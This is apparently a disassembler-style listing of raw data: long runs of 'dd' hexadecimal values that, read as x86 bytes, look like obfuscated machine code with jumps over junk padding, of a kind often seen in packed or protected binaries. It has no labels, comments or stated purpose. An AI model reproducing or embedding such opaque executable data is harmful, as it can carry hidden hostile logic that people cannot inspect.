		dd 2800Fh, 0FB60000h, 14E8h, 0ABDA2700h, 0CB4FEDCAh, 884C3E5h
		dd 5E7F353Bh, 0DED69E83h, 0BE96Ah, 0D20F0000h, 467C0C16h
		dd 4C561D4Bh, 0F9605B27h, 78F38166h, 66606178h,	0B966CF8Bh
		dd 0E8614126h, 11h, 3E77CA35h, 9A34841Fh, 0D7DB87A3h, 0B7CED4C2h
		dd 1EBA664Ah, 9CBA5EBAh, 60766CF0h, 0FC92BA66h,	0F61DE8Bh
		dd 289h, 815B5100h, 6C5780D8h, 0BE838h,	207E0000h, 0E6FEA60Ch
		dd 265A7117h, 0BE9577Eh, 0DF000000h, 9169F162h,	9ADA1409h
		dd 5E5F0049h, 0E38166F5h, 13E96CF9h, 0C3000000h, 8A5BBB87h
		dd 0A202C086h, 0A9F9D11Eh, 0F3A3E6C2h, 8166A139h, 60231EF2h
		dd 0E9A2D480h, 0Eh, 86335730h, 99945C1Fh, 0D499129h, 0FC6197B6h
		dd 598A0BB8h, 84BEF84Fh, 6663F95Bh, 6608BCBAh, 0A368C181h
		dd 5820FF5h, 0B9000000h, 2C00AFA6h, 8F0FCA8Ah, 4, 0C765BA66h
		dd 0A0EB8166h, 0CE963h,	80550000h, 0EBC4CB90h, 9C9F2F35h
		dd 0FA8B14BFh, 12E950FCh, 40000000h, 4B5F6341h,	7226A604h
		dd 8839180Ch, 8C00AA69h, 81665A50h, 816CE2D6h, 0EBBA34E7h
		dd 0CE906h, 0FA50000h, 0AAABFA7Bh, 86BA24FAh, 0D7818570h
		dd 72E550B0h, 0A880Fh, 860F0000h, 4, 0C342B966h, 0E9FB8B66h
		dd 0Fh,	14759F9Eh, 9B4DDDE6h, 833724BDh, 0BEBE0DC1h, 666978B9h
		dd 7E8h, 883C6700h, 0CB1AF5B2h,	0A6B3D181h, 0F8583183h
		dd 0BF8CCC80h, 7A05677Dh, 0B220BB66h, 0E28AF0B0h, 0BF66C78Bh
		dd 9E91D27h, 39000000h,	0CAB93B8Ch, 0E47B0123h,	4840Fh
		dd 0B9660000h, 8166E138h, 502E87F3h, 58D1F680h,	66F0E480h
		dd 802E04BFh, 8166C0F0h, 0E9EA9DDBh, 0Ch, 0A5412A99h, 69BE009h
		dd 31619281h, 3DB5A9B6h, 6840F57h, 0F000000h, 88h, 0BEFC5E00h
		dd 61E55B42h, 0F59F556h, 386h, 0C8B70F00h, 0EE9h, 47B7A100h
		dd 2D20E5D6h, 35AF5433h, 0E89911BBh, 9,	6047B113h, 405A6366h
		dd 0D38160C4h, 22464B21h, 61DFBF0Fh, 0DFBF665Eh, 50CA8B8Bh
		dd 8B58D08Ah, 0D88B66FEh, 11E9h, 1A4A9C00h, 4E3E442Ah
		dd 0B045CC0Ah, 0CFD01355h, 0E9814E42h, 0A504EC9h, 6840Fh
		dd 66570000h, 58D0DBBEh, 158E0Fh, 0FE80000h, 82000000h
		dd 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh, 665B6A22h,	0DD8ACE8Bh
		dd 2C7EEB81h, 0F38B4A2Dh, 81BFC180h, 0D3C9CDD3h, 0AE94Fh
		dd 0F95E0000h, 0D46E0CE8h, 974BF0CAh, 2D77EA81h, 81665E44h
		dd 66141EDEh, 4BCDC781h, 4E82D181h, 0F5F9768Dh,	13E9h
		dd 4DD8A600h, 0F5A00E8h, 1F3816E6h, 0EE0DF1DEh,	31BA4119h
		dd 13E960h, 60CF0000h, 0FEBE071Eh, 0CD67B9CEh, 2EE697DEh
		dd 114D2336h, 0B1BB663Bh, 15B76161h, 0FAEC880h,	283h, 0E9D78B00h
		dd 6, 0C660E70Fh, 8166F486h, 0FB17ADFh,	0A80h, 5E900h
		dd 8BBD0000h, 6653568Ah, 0F6746B9h, 0A89h, 4820F00h, 66000000h
		dd 609175BBh, 0CBA6657h, 12E95BC8h, 0F0000000h,	0C69F1974h
		dd 6BF89FEBh, 4C6BDB0Bh, 403175AAh, 8B666175h, 0F68151F0h
		dd 0EFC7D8Ah, 0EE95Fh, 0F1020000h, 8398B409h, 9D807870h
		dd 0C4C9E7DEh, 564EA6BBh, 0B8D98B03h
		dd 4AD833F2h, 8E9h, 90513900h, 628975F2h, 0C7D1816Bh, 0E8325D2Dh
		dd 13h,	0E4C757B4h, 0C8AB97Bh, 0B3463410h, 19E8FC95h, 8B37DA6Bh
		dd 0B70F5ECAh, 0F5352C0h, 84h, 0E9585900h, 0Fh,	0AD306F31h
		dd 12566BF5h, 75C5B161h, 66276C42h, 0E681CB8Bh,	59E59E3Dh
		dd 7E9h, 39C21A00h, 3F6BDCB2h, 0F9C1B70Fh, 8166EB8Ah, 0B13FE9E0h
		dd 0EE9DDh, 0B2570000h,	2167AD7Ah, 0FACB3E8Bh, 0D1EBB09Bh
		dd 3B5E281h, 665006A2h,	5B17A1BFh, 0EE9h, 0BD332400h, 9B85E6CCh
		dd 92A6B875h, 0E98F3780h, 8, 0CA5410ECh, 37631970h, 38C0Fh
		dd 0B70F0000h, 5E8D9h, 0F1BE0000h, 66EB44EDh, 0C3D3D681h
		dd 0FFB8B5Fh, 486h, 52BE6600h, 44BE6693h, 0DE9F5h, 46C40000h
		dd 26B9DFC3h, 0D689A1D3h, 812231E7h, 0F64F96C0h, 11E907h
		dd 0B8DF0000h, 589F8B50h, 0A0B7F46Dh, 24E36291h, 0E97E2DCDh
		dd 7, 221741ECh, 0F798492h, 481h, 46B96600h, 5CF280EBh
		dd 13E960h, 8A590000h, 6AB616ACh, 804340EFh, 2C0EA1BEh
		dd 0F951C0CBh, 61D08B29h, 0AE9h, 8564C300h, 1ABE8BA1h
		dd 0E98678C6h, 0Ah, 0CE8F95Eh, 0F0CAD46Eh, 8B66974Bh, 86F781FEh
		dd 0F16BF17h, 0BF0FC3B7h, 0DAB70FC1h, 0B3FEB850h, 0E9590A03h
		dd 10h,	0E6964EF2h, 9509A03Fh, 5257994Ah, 8945F780h, 13860Fh
		dd 0E8530000h, 0Bh, 0EFD92B85h,	88017E79h, 5FB19B41h, 45BA665Fh
		dd 0FCF9FC97h, 0AE9h, 0B72BCB00h, 42B345A1h, 0FD4404Ah
		dd 0CA8ADBB7h, 8221B866h, 0AE8h, 0B8759B00h, 378092A6h
		dd 66B6AA8Fh, 6659FE8Bh, 664F2BBFh, 8B0DBCB9h, 60DAB6DEh
		dd 0B9661AB4h, 8A61BF8Ah, 0D198B8EAh, 0D0802A2Ah, 0AE9B4h
		dd 97970000h, 0E7AF9679h, 6DA65DC0h, 466DBE66h,	0BE9F9h
		dd 0E7D70000h, 6BBAE3F8h, 6F31ACDh, 0CE9A9h, 5A0E0000h
		dd 5471490Dh, 8141EEA5h, 5E85C3Bh, 10000000h, 0A6C7708h
		dd 5FDFB70Fh, 56C68166h, 0D6B70F77h, 41BEF18Bh,	0B30797BCh
		dd 49E08070h, 6E8F5h, 0CE1C0000h, 419A224Fh, 48E0Fh, 0BB660000h
		dd 0F5ED88Ah, 587h, 3733BA00h, 0B70F1049h, 0FE9FEh, 0FA8D0000h
		dd 65CAB3CDh, 0D74BB03Bh, 0B1EC02F2h, 38B0FEAh,	66000000h
		dd 0F38BDE8Bh, 11E9h, 0B8806D00h, 1C98C78Bh, 20B9C1F7h
		dd 0FA4476B1h, 0EA80243Eh, 23BA669Ah, 68A0FD5h,	0F000000h
		dd 86h,	64C98000h, 840FCA8Bh, 1Ch, 16890Fh, 11E90000h
		dd 0CF000000h, 7869F6BEh, 562233D3h, 0FB7E137Bh, 4FB10B69h
		dd 0F44D380h, 1A80h, 14820F00h,	0E9000000h, 0Fh, 3AFBF184h
		dd 81B21CE5h, 6707CD86h, 66F4FBBBh, 8F0FFA8Bh, 14h, 0FE9h
		dd 1B1BB900h, 1A66194Dh, 9C3546DEh, 0F216506Dh,	0CBCBA3BAh
		dd 8151F867h, 0A181B3F1h, 0B8665E2Dh, 0B5609C1Bh, 3FB866F9h
		dd 0E681614Ah, 4342DFC4h, 17890FF5h, 60000000h,	2858CE81h
		dd 0AE96D6Bh, 0EE000000h, 5C3B8141h, 70144F50h,	81666163h
		dd 0FC79AEBh, 686h, 4DEB8100h, 0E94E2A35h, 9, 0A1CE56CFh
		dd 669F797Eh, 0FC58A70h, 0E081C3BFh, 42ACD55Fh,	9D01C981h
		dd 0E1810BA5h, 4CDCBFDBh, 8B66D88Bh, 0D6B9F8C1h, 660F9D09h
		dd 0F173E781h, 12E9h, 78BB9600h, 0F3B81825h, 7DB9943Ch
		dd 0BBDFB591h, 0B4B2AA33h, 47BA663Eh, 54B4FC9Bh, 51BA6660h
		dd 8F0F60ADh, 0
		dd 840Fh, 61610000h, 14E9h, 0E7BD4400h,	0D7FA0F3Eh, 0B1494DCBh
		dd 355203Dh, 0CD8277EEh, 10E94Bh, 3F90000h, 0E96AE032h
		dd 0C25D8436h, 1BC03512h, 8B6672F0h, 14E9DAh, 711B0000h
		dd 0D93A7796h, 63EF2378h, 1C10042Dh, 816F880Fh,	0B70FBB59h
		dd 0BA66FCDAh, 8C0F90B0h, 0
		dd 6E9h, 48A5C600h, 667FD5EDh, 60D298BBh, 0BE66CAB7h, 0F615BD2h
		dd 3383h, 14E800h, 120E0000h, 0C5A1709h, 6A3E48C0h, 14371F27h
		dd 0CD82FB8h, 14E90CFEh, 0
		dd 0DEA6F8Bh, 0BF0BBF59h, 4CEF26CDh, 9081146Eh,	5A202082h
		dd 5BF9B450h, 8E960h, 0F16E0000h, 0BD8FE03Dh, 0D080FDB0h
		dd 8B6661D5h, 80DF8BD9h, 8A57DBE4h, 0BE95FC1h, 9D000000h
		dd 0E00B3284h, 3390188Dh, 0DE8BADE9h, 57BF6660h, 2820FE5h
		dd 50000000h, 8166615Ah, 605724C1h, 0F1B70F60h,	0F7F18166h
		dd 5053612Fh, 80615A5Bh, 0D68B07DDh, 8C0F47B7h,	4, 5BC88B57h
		dd 0AE9h, 0ED2ADD00h, 24D6B4AFh, 0E98B8556h, 11h, 94BF1CA0h
		dd 67B5A9B2h, 0EE6E4679h, 986D7434h, 1D36BEA2h,	0F6048BEh
		dd 0F60CAB7h, 6161C2BFh, 8BF6B70Fh, 0B8B8FCD1h,	66084D0Fh
		dd 0E92E0BBEh, 6, 3BE85EC2h, 0EE9EC55h,	0C7000000h, 56FE9656h
		dd 0AA8A27AFh, 11EF2123h, 561DB2E5h, 12E8h, 6FDC5600h
		dd 3D476475h, 49196666h, 58374305h, 5A101395h, 6E95259h
		dd 2D000000h, 5199ECAAh, 0B9665BF0h, 0C981F702h, 238E7DEBh
		dd 9952A4BAh, 0D1B70F70h, 6820F60h, 0F000000h, 8Fh, 0B8666000h
		dd 5CBE878Eh, 61377F05h, 5084BF61h, 8B665BB7h, 0DE9CFh
		dd 0C86E0000h, 24F8523Fh, 3BF74600h, 0E98F13BAh, 0Bh, 74CE5304h
		dd 4E0BD00Fh, 50B68E4Dh, 5FD1BF0Fh, 6E9h, 6A08CD00h, 8A11E541h
		dd 5BB060EAh, 61F88B66h, 0C4DE8166h, 38B0F36h, 66000000h
		dd 0F8F8DE8Bh, 2890Fh, 0F98B0000h, 840FF88Bh, 0
		dd 6EB2BF66h, 14E9h, 0E769FF00h, 52360F2Ah, 0D67CFC69h
		dd 4FC0E93Ch, 0DD746484h, 0EF816683h, 0D381974Ch, 538F31EBh
		dd 830Fh, 46BE0000h, 0BB3B3847h, 0AEE01EBh, 6B6CF81h, 6E8317Fh
		dd 0ED000000h, 37113154h, 11E96066h, 26000000h,	0D0A6928h
		dd 0ED04C79h, 32AAB3ADh, 0E356821h, 8520F281h, 5F612E1Dh
		dd 0E381D88Bh, 618F3E9Ch, 0CE9F98Bh, 0F000000h,	0E07EF6CDh
		dd 5CC606C6h, 50612B0Dh, 8C2C34BBh, 0CBBB5905h,	0E96023CBh
		dd 11h,	1E1A263Eh, 41EF1119h, 0FE796F30h, 43212FD7h, 10E9FCB3h
		dd 0B3000000h, 0DE146D78h, 1AC215D8h, 0C9873132h, 0E921F2A4h
		dd 0Ah,	0C85ADBACh, 50D749EBh, 8E0F4430h, 8, 2820Fh, 5B520000h
		dd 60C1B70Fh, 0C666BF66h, 0C6816661h, 8C0FBF29h, 2, 0AE95E51h
		dd 84000000h, 1C4CE56Ah, 0EA1FE4ABh, 8E85Dh, 0F4170000h
		dd 0A457CBF1h, 0CF814830h, 5FD08394h, 13E959h, 25890000h
		dd 0E2AB729Fh, 3FB6E514h, 0C542E470h, 1DCCA2D8h, 0AE86061h
		dd 5E000000h, 0E95AE2E9h, 82AE8DC6h, 9E91Eh, 0A7A90000h
		dd 62AFABC5h, 5AB2B821h, 0FE8h,	3972F500h, 0FED82102h
		dd 6B708C20h, 0D5F6F2C3h, 615B5F51h, 12E9h, 1FBCEB00h
		dd 92DC2B72h, 5F4E4D8Eh, 2BAB618Ch, 0E90052D7h,	8, 17C52B01h
		dd 6375EC46h, 314C41BEh, 68C0F55h, 81000000h, 567C4DE0h
		dd 68F0F68h, 0F000000h,	83h, 0D6BF0F00h, 0EE86BB2h, 31000000h
		dd 659FCEECh, 0CB82BFEh, 0D1840DEh, 58FA8B0Fh, 0DEDC281h
		dd 5F5056AFh, 8B0Fh, 8B660000h,	0D8BF0FF8h, 0FD2C080h
		dd 38Dh, 0F18B6600h, 3E6FB0BEh,	0E9F88A04h, 0Eh, 87B9AE32h
		dd 398CF701h, 7E30CA14h, 0AE9E17Ah, 32000000h, 4570C662h
		dd 6E3EE4DCh, 14F18116h, 0F4CAE8Ah, 1283h, 0C810F00h, 0E8000000h
		dd 6, 5B211796h, 0F5B82C8h, 58Eh, 1F1CB900h, 47B06327h
		dd 72D38052h, 0C380FC59h, 0F2B70F32h, 13E8h, 0E1139400h
		dd 840794B2h, 5EA4F5DCh, 578C159Ah, 0DB13866Fh,	0DE9h
		dd 0DD71C00h, 0F4F37004h, 2B62C9EDh, 0E95BC1ACh, 12h, 358B96BDh
		dd 0F698D1CFh, 4C45E053h, 32C067Ch, 13E98177h, 9000000h
		dd 1414D3ABh, 5D23C6A7h, 15614E17h, 76EDBBA1h, 0F603C88h
		dd 589h, 0D9816600h, 0F680468Eh, 0BF0F61BEh, 14E8D6h, 0B4750000h
		dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 13BC3F92h, 0B96654A9h
		dd 665A7DD0h, 0BF0FC88Bh, 0EE9C1h, 91020000h, 0E6535C6Ch
		dd 465C9112h, 0C45A02Bh, 48E0Fh, 50510000h, 850F5F5Bh
		dd 2, 8B66CE8Bh, 0AB960D8h, 665FE449h, 61C4F2BFh, 2810Fh
		dd 49B30000h, 0CF8B6660h, 14E9h, 0D4C59600h, 6095FFFBh
		dd 87B272E4h, 0B99E9C70h, 27491B97h, 81666174h,	0BB2326D9h
		dd 0A735624h, 880Fh, 0DD8A0000h, 0FC28B66h, 8166CABFh
		dd 8BF605D2h, 8166FCFBh, 0F7FEFE8h, 48Ah, 0BBF6600h, 69B96663h
		dd 0AE9B2h, 5CD70000h, 0BA334BECh, 79B958DBh, 0DE960h
		dd 0B60B0000h, 1FF5F955h, 15E92B35h, 8A60C899h,	860F61D7h
		dd 5, 0A5C78166h, 0B960B99Eh, 666025BFh, 0E96FDCBEh, 0Eh
		dd 0DCFD68B9h, 1B7C2F3Ch, 8CB136FCh, 6661A533h,	0F00DBB9h
		dd 0EE9C9B7h, 0C2000000h, 39F3A3E6h, 0DDF77A1h,	152CA0FCh
		dd 47B9664Eh, 0AE8F2h, 621E0000h, 0C026D4BAh, 196ECBE2h
		dd 5E83D080h, 28C0Fh, 0E3B70000h, 0E9F8BF0Fh, 0Bh, 7F47D9Ah
		dd 0AA97124h, 66F5924Dh, 8A0FF88Bh, 2, 0B70FD98Ah, 13E8F6h
		dd 8A590000h, 6AB616ACh, 804340EFh, 2C0EA1BEh, 0F951C0CBh
		dd 8B665F29h, 0FEBB5D6h, 0C88BF9B7h, 0BE9h, 8EC11200h
		dd 0E0555742h, 0D1ADD477h, 38E0F53h, 66000000h,	0F5BF98Bh
		dd 148Ch, 0E8B0F00h, 0E8000000h, 8, 2BF1542Dh, 0B08BF315h
		dd 1CC1815Eh, 6630C004h, 8166F28Bh, 8B3219E6h, 0B868B7FBh
		dd 2BC6879Ah, 19820Fh, 14E90000h, 53000000h, 2D9EE84Bh
		dd 0A331B11h, 4081643Fh, 4BC42A5h, 66CA7F41h, 0FF014BFh
		dd 880FD8BFh, 3, 0E9C0B70Fh, 9,	5F23684Fh, 2C8B1F0Bh, 39B96656h
		dd 5E9F8CEh, 83000000h,	73B43AC8h, 0DBC78166h, 0DE95Bh
		dd 6A690000h, 772FDD28h, 8936A40Dh, 8A2474ADh, 25B866DDh
		dd 8BE08142h, 0F792F59h, 583h, 2CF7B900h, 5E80243h, 71000000h
		dd 0C53D341Dh, 7E9h, 0F2656B00h, 619444F8h, 0EB81665Ah
		dd 8A0F910Bh, 18h, 11E957h, 6CEA0000h, 13D580Fh, 0FCD4C8CDh
		dd 65255B9h, 586FF7AAh,	2800F56h, 50000000h, 81665A5Bh
		dd 607E40EEh, 926FB866h, 0F2D3B866h, 0CA8B6661h, 8E8h
		dd 62ED2F00h, 99F22C67h, 5ED9B72Fh, 8A3FE380h, 0DE8CBh
		dd 1510000h, 9D519C99h,	6D266B25h, 509A4D02h, 0E95F5AF5h
		dd 11h,	0C53ADBh, 2A90B951h, 0C9B2F402h, 0D73758B9h, 408EBB3Eh
		dd 0F4807BEAh, 0ECD1B990h, 38BF7369h, 0E8208B9Ch, 13h
		dd 17038C21h, 20AF1964h, 0C09A3B17h, 6C0598D6h,	0F7F8B70h
		dd 689h, 800F00h, 5E000000h, 6854F381h,	0BB60067Ch, 4AA7D5E5h
		dd 0F2B70F61h, 0FC0BF0Fh, 0D780FBBFh, 0BE9CBh, 0AEE00000h
		dd 79FBEEFFh, 886DA4F2h, 0BF0F605Dh, 8B61F5C1h,	11E9D3h
		dd 1AC60000h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 0F249282h
		dd 8160F7B7h, 8750F7DAh, 0DF8B661Bh, 8B665361h,	66505BD3h
		dd 0E95FCA8Bh, 0Bh, 1622732Ch, 4E53849Ch, 51A57385h, 95CBF9BAh
		dd 66525E16h, 5158F28Bh, 6CC9815Bh, 0F33A288h, 886h, 8F0F5100h
		dd 0
		dd 0FF88A5Bh, 10E9FFB7h, 0B6000000h, 0A2A10AD5h, 3D2E8F7Bh
		dd 0A0A99707h, 0E97A6A53h, 12h,	183B4D7Dh, 0BCB760FEh
		dd 6B4BC4ABh, 0A595D2DCh, 13E99705h, 44000000h,	0D5C681F2h
		dd 5AA0DA9Ah, 9D4E5BAFh, 87FA5F8Ch, 8E90EC8h, 0FA000000h
		dd 84D51073h, 66D58E2Ah, 0F7CD3B9h, 79B8C1B7h, 604D48C8h
		dd 61CEF680h, 0F20E180h, 0D85h,	5E85200h, 0F4000000h, 0DD37AE68h
		dd 80BF5A5Ah, 0E97954AAh, 8, 984F2455h,	0F11A9B14h, 5880Fh
		dd 81660000h, 564B09E6h, 0E959FE8Bh, 7,	1F5AB0C4h, 0FB965C0h
		dd 0E951FBBFh, 11h, 0F0ACCC43h,	9072C27Dh, 2E00FC6Dh, 0CDD0A128h
		dd 0AE95921h, 0C7000000h, 0A1622F02h, 6287048Ah, 8B6660C9h
		dd 14E9F3h, 89A20000h, 42BC8051h, 26E13FADh, 0C407540Bh
		dd 43E78877h, 0FC6197D9h, 0F94C980h, 585h, 8BA9BF00h, 850F31B8h
		dd 1, 0BAA9B4FCh, 3842B125h, 0EE9h, 67403300h, 4EAD6BDAh
		dd 0E7B94EFFh, 0F98D7FFAh, 0DAC28166h, 0FE950h,	0A2F50000h
		dd 3FD91B47h, 15EAC77Dh, 3D66021Ch, 0D8B70F0Fh,	6E9h, 88234300h
		dd 0E9DD6DA3h, 5, 0AA67908Ch, 0AE95Eh, 4A5C0000h, 178970DAh
		dd 0D5FF3BDAh, 2BEF8166h, 6660605Fh, 611A20BAh,	61C2BF0Fh
		dd 5840FF9h, 0BA000000h, 6E78AB0Dh, 6E9h, 534C2200h, 0B2168316h
		dd 6660F86Bh, 0DF55DE81h, 8BE4B560h, 0F6161F8h,	0BBEFBB7h
		dd 66452F78h, 81CED6BFh, 85B319C6h, 0DA8B6606h,	0E9F5C68Bh
		dd 0Bh,	23602ADEh, 72107AD7h, 608800C6h, 0FEDAD181h, 0E4804958h
		dd 665261D0h, 665AC28Bh, 5E8F18Bh, 0E3000000h, 0AAA40182h
		dd 0C690B2BFh, 0FA8B5F7Ch, 91CFD081h, 0DA8B3FE8h, 50F6C580h
		dd 11E8h, 0B757A400h, 0E95B302Dh, 25135865h, 0A0195FC1h
		dd 8D0F2C63h, 0
		dd 18BE5E5Bh, 663E1F9Dh, 0E8D575BFh, 0Ah, 0C017FF6Dh, 2F2F05ADh
		dd 0BF0F68A9h, 10E95EFEh, 0B9000000h, 49398B3Ah, 98E6A9E5h
		dd 17C968F5h, 53F2F51Ah, 0C3B70F52h, 840F585Eh,	15h, 0EE957h
		dd 0D3780000h, 7B562233h, 69FB7E13h, 0EF4FB10Bh, 0C68B665Fh
		dd 9E860h, 66D00000h, 3CF2E1D3h, 5B3B2EE5h, 5E861h, 0AEDA0000h
		dd 6643E9D1h, 0F958F18Bh, 0E0816660h, 13E8740Fh, 29000000h
		dd 0EF108D68h, 2FC19596h, 46F5B6EBh, 2C1D1952h,	6160FE00h
		dd 81F9615Fh, 0B965FCE0h, 60F38B69h, 8E0FCC8Ah,	1Ah, 14E8h
		dd 0E1045C00h, 86EE903Dh, 0F4BDEB6Ch, 6320FBC7h, 0F5A719ACh
		dd 0B5615EFDh, 8880FFAh, 0F000000h, 283h, 8A616000h, 14E9CCh
		dd 0DFA60000h, 9169F162h, 9ADA1409h, 0B6350049h, 94B748CFh
		dd 6E94A0Ah, 72000000h,	6622233Dh, 11E9DDh, 84F50000h
		dd 0AFEC00CAh, 179E521Dh, 5BBE5A99h, 0E82012AFh, 0Eh, 600126C7h
		dd 0A63B0350h, 1CCB48E3h, 0A1BAFEF8h, 58773229h, 14E9h
		dd 0D8FF8800h, 3C3F127Ch, 6A2F5A20h, 97A40C7Eh,	64E0AC5Ch
		dd 19800F00h, 0E8000000h, 0Fh, 4357C021h, 4A769F49h, 2B111D3Ch
		dd 66ECC875h, 585DC5BFh, 0D840F51h, 0E8000000h,	7, 991B0731h
		dd 5E7D61A6h, 1880F5Ah,	0F9000000h, 0FF8FA8Bh, 48Eh, 60B96600h
		dd 0CE9FFh, 25060000h, 0F4F80246h, 76F426D0h, 8F0F8AC1h
		dd 5, 46D18166h, 5CB96009h, 503D8335h, 615B6160h, 0ACC28166h
		dd 8153F80Ah, 0FE9812F1h, 8B665E6Bh, 0F2BF0FDAh, 850Fh
		dd 0EE80000h, 1B000000h, 5D05AB0Bh, 0E74499D9h,	0A6AFEF5Fh
		dd 605BF9AFh, 8B29C180h, 0E9F861D1h, 13h, 0A7F8EB09h, 0A87175EAh
		dd 255D79DCh, 0DDAB92Bh, 0E97842C9h, 0Dh, 1FB27A69h, 5923E2E8h
		dd 0FD1F6DC5h, 0E9F98B39h, 14h,	4A9509A0h, 80525799h, 928945F7h
		dd 0C5CA93B9h, 8B36C690h, 9E9h,	11B98000h, 0C84370Fh, 0BE66B8CAh
		dd 0FF8F66Bh, 38Ah, 0DBB70F00h,	99662BBEh, 0DE91Bh, 0C4C10000h
		dd 8DE53579h, 7FD023CBh, 0FDF4983h, 0AE9DBBFh, 0A3000000h
		dd 3FB57158h, 9C5DC6B9h, 0EC8056F5h, 8D0F5E4Dh,	6, 0A134D781h
		dd 13E959E3h, 2000000h,	42D42630h, 61BFED5h, 10254001h
		dd 1F14ECB7h, 0F516D1Ah, 128Ah,	0CE800h, 0A9DE0000h, 21E7549h
		dd 16274B60h, 59587A4Fh, 81CE8166h, 0B866604Dh,	29B16FA8h
		dd 0C9CEBE61h, 8D0F63FEh, 15h, 10E9h, 453C5200h, 0C2F1CD20h
		dd 1EA03EDEh, 0D01DF5C7h, 52D38069h, 0AE8h, 0DA9BD400h
		dd 0BA518347h, 0FB06021h, 1484h, 0FE900h, 591C0000h, 465A9148h
		dd 0B59C1D89h, 6CE8597Ch, 830F5805h, 3,	51C1BF0Fh, 870F60h
		dd 66000000h, 616E0FBEh, 0B4DD8058h, 4800Fh, 0BB660000h
		dd 8B661903h, 0FC91BECAh, 0BA660BBCh, 0C58A82C8h, 0EEBF60F9h
		dd 0F4A422Ch, 682h, 860F00h, 61000000h,	98D0Fh,	53600000h
		dd 9CD5B85Ah, 606147E2h, 81C9B70Fh, 0EFE039EBh,	0BF0F6133h
		dd 6660F8DFh, 0E850CE8Bh, 10h, 3A1E1D43h, 0E139B3AAh, 1DC9BED8h
		dd 1F0E925Ch, 57615F58h, 0C95EF381h, 0E95E37EAh, 6, 0ADBA1540h
		dd 8B6649A7h, 48E281DEh, 661B43D1h, 0EC56F281h,	102A90BBh
		dd 5E930h, 0A04D0000h, 0E9CBBB17h, 9, 0B8FE20C0h, 5989BA69h
		dd 0E580F533h, 0DE9C0h,	0FE0000h, 0A6F74B90h, 0FB7DCB27h
		dd 0E9E87D26h, 13h, 90A6D696h, 4A05C6B1h, 0A31C0469h, 0D7206F21h
		dd 0F0F1A71h, 584h, 0DB816600h,	0DA8BE798h, 0FDE8B66h
		dd 8E0FD7B7h, 4, 4FD2BE66h, 28BB6657h, 0B8665BCCh, 57BA9A55h
		dd 0F4D5B73h, 5B50F8BFh, 138A0Fh, 0EE90000h, 7D000000h
		dd 4D7E0D01h, 0C208153Eh, 80BA764Fh, 1ECF804Fh,	80F7B70Fh
		dd 8F0FC3F3h, 9, 38D0Fh, 0BF0F0000h, 0EE8F5CFh,	1A000000h
		dd 0F1BF5FF7h, 62FF123Ch, 0CBCBD5D1h, 5A31B1B1h, 0D9E88052h
		dd 10E95Bh, 61AC0000h, 0CB99964Bh, 0E38D8DBFh, 665C3139h
		dd 8E80B27h, 0B000000h,	6CCAC8B3h, 8B0AF2EFh, 0BF0F5AD1h
		dd 830F60FEh, 2, 8B66CF8Ah, 0E88161D1h,	56010A7Fh, 0BE8h
		dd 19CDD800h, 859448E6h, 0A1962311h, 8A585160h,	0F5861EEh
		dd 6E9D7BFh, 3A000000h,	992CA453h, 8D0F5311h, 0
		dd 58B0F5Ah, 66000000h,	0B286D881h, 12E9h, 8D47F400h, 9DD59B25h
		dd 0BC32E7C1h, 104C3994h, 0F0B08F4h, 28Ah, 66F98B00h, 0FC1622BFh
		dd 87E9EEB9h, 8F0FF96Fh, 1, 81CF8BF9h, 91A170E8h, 0BF0F5764h
		dd 0D58058D9h, 5830FECh, 66000000h, 0A2A4DE81h,	6F87C681h
		dd 0B70F4E03h, 8A0F51DAh, 10h, 0AE8h, 0D197BF00h, 921481B0h
		dd 5FB1CC16h, 0FE95Eh, 0AF130000h, 0BBB19FBAh, 28AB30DDh
		dd 20F8DE34h, 0DE8C6h, 3030000h, 54B0DEFCh, 0F9E3CDAAh
		dd 0FB562FBh, 148Eh, 0EE800h, 45E30000h, 0AFE1862Dh, 0FA93A978h
		dd 0D2AE1D93h, 7E95B5Fh, 11000000h, 0E0BC3EC2h,	0BF666314h
		dd 0B866232Bh, 0BF667160h, 0F52F1C5h, 0B958F8BFh, 1DDA6667h
		dd 0A95EB866h, 66F5CC8Ah, 8D0FC78Bh, 2,	2AB6A3B6h, 0FF6FF081h
		dd 0F50563Eh, 68Ch, 870F00h, 59000000h,	0FF2B70Fh, 1581h
		dd 10E900h, 368A0000h, 0D3E0D1E7h, 6561FE7Bh, 2A931940h
		dd 0BF0F23C3h, 816160D0h, 0D7F2C0D8h, 6077BE01h, 81667642h
		dd 8BFF4BD1h, 0F18166D9h, 0BF0F8F0Ch, 0E840FD0h, 0E9000000h
		dd 9, 1BE13AEFh, 0BBFB2023h, 0E9DE8B2Fh, 0Ch, 0DDC29642h
		dd 6EFD72F1h, 221DBF5Bh, 0CE9h,	2FEAA00h, 2F7C780h, 0C33C57Fh
		dd 81FC60CBh, 0E286E0DBh, 0F7B6612Bh, 0D78BD88Bh, 0E1B7BB66h
		dd 13E9h, 5EBC9C00h, 0BB5662A2h, 0D7FCCA38h, 0ECED296Dh
		dd 0D43DBD6Ah, 0FE9h, 9EA90D00h, 0FC94113Ch, 0C59F6EF9h
		dd 0E7AA5693h, 0BD2115BFh, 0ACB96647h, 3781BF33h, 816670DFh
		dd 0E99B1ED7h, 0Eh, 93C9FC04h, 0E033791Ah, 0FAB89965h
		dd 14E9684Ah, 0D6000000h, 2B33EAFDh, 94DE389Fh,	8D0BE5C3h
		dd 6C85B121h, 60FBBDF0h, 5EE18166h, 0F181662Bh,	66617E0Ch
		dd 9F85E081h, 0D1B70FF5h, 38E0Fh, 0BF0F0000h, 0A4BB66DFh
		dd 10B86624h, 0F7BF0FF5h, 0BE9h, 7F844800h, 0E39B6D7h
		dd 0F3CFE7B4h, 0CE9h, 5AB2F700h, 34D84799h, 0FCF17F8Eh
		dd 0CE850A4h, 0DF000000h, 0A2A8277Dh, 5EBB1C7Ch, 0BA8A1867h
		dd 13BA8CEAh, 23B55859h, 1B880Fh, 12E80000h, 0AC000000h
		dd 0F0ACCC43h, 9072C27Dh, 2E00FC6Dh, 0CDD0A128h, 0FABF0F21h
		dd 56B6B25Bh, 0C2E08156h, 5B566F9Fh, 5BF9575Eh,	13E9h
		dd 7B7E100h, 75B8AA71h,	979ED2C7h, 0A58DC7A6h, 0C7F6A4CDh
		dd 8B97F780h, 0BF0FF9C1h, 471AB9F8h, 0D18A35D4h, 0A5EF8166h
		dd 0BE847h, 0F0F90000h,	52AE580h, 0B34B6CE6h, 59F58A88h
